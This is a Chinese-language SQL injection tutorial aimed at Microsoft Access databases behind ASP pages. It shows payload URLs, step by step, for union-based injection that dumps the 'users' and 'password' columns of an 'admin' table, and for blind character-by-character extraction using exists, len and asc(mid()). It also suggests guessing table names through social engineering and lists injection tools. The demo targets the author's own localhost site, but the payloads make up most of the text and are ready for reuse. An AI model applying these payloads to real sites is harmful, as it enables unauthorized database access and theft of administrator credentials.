Access数据库结构(access只有一个数据库);
Access数据库
表名
列名
数据
一、access联合查询注入
优点:快速
缺点:如果SQL语句不常规,该方法无效
1、判断注入点
这里不用多说,前面也讲了太多了联合查询注入了。
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 20 正常
127.0.0.1/asp/index.asp?id=1513 order by 21 错误
3、猜表名
这里主要是猜下有没有admin这个表?猜表名需要一定的耐心和运气。
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
4、猜列名爆数据
127.0.0.1/asp/index.asp?id=1513 union select 1,users,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
因为我这里是演示,而且程序是我自己开发的,我当然清楚表名以及列名,我们通常在实战中,access表名和列名猜解成功率不会是100%,accesss表名和列名猜解不到怎么办?有什么解决方法吗?
以下给大家提供简单的几种思路:
- 字典文件收集(社工)
- Access偏移注入
- 工具猜解字典文件设置:
问:Access表名获取怎么办?
答:社工,对比网站url地址
www.xxx.com/pw_news.asp?id=1
www.xxx.com/pw_index.asp
表名有可能是:pw_admin,pw_manage,pw_system
问:Accesss列名获取失败怎么办?
答:Access偏移注入、社工、后台源码中参数名
二、access逐字猜解注入
access逐字猜解兼容性好,工具一般都采用这种方法。
1、查表名:and exists(select * from 表名)
127.0.0.1/asp/index.asp?id=1513 and exists(select * from admin)
2、查列名:and exists(select 列名 from 表名)
127.0.0.1/asp/index.asp?id=1513 and exists(select users from admin)
3、查列名数据
第一步:确定列名数据的长度;这里是指users这个列名。
127.0.0.1/asp/index.asp?id=1513 and (select top 1 len(users) from admin)<=5 正常
127.0.0.1/asp/index.asp?id=1513 and (select top 1 len(users) from admin)>6 错误
第二步:确定ASC数据(asc编码)
127.0.0.1/asp/index.asp?id=1513 and (select top 1 asc(mid(列名,位数,1) from admin)<=97
猜解第一位数据:
127.0.0.1/asp/index.asp?id=1513 and (select top 1 asc(mid(users,1,1) from admin)<=97 正常
127.0.0.1/asp/index.asp?id=1513 and (select top 1 asc(mid(users,1,1) from admin)=98 错误
说明users列名第一位值的ASCII编码是97,也就是a;
猜解第二位数据
依次类推.......
Access注入工具:啊D、明小子、穿山甲、萝卜头havij、sqlmap......等等。
Access工具注入的特点:支持多种注入类型,注入突破类型,工具速度等问题。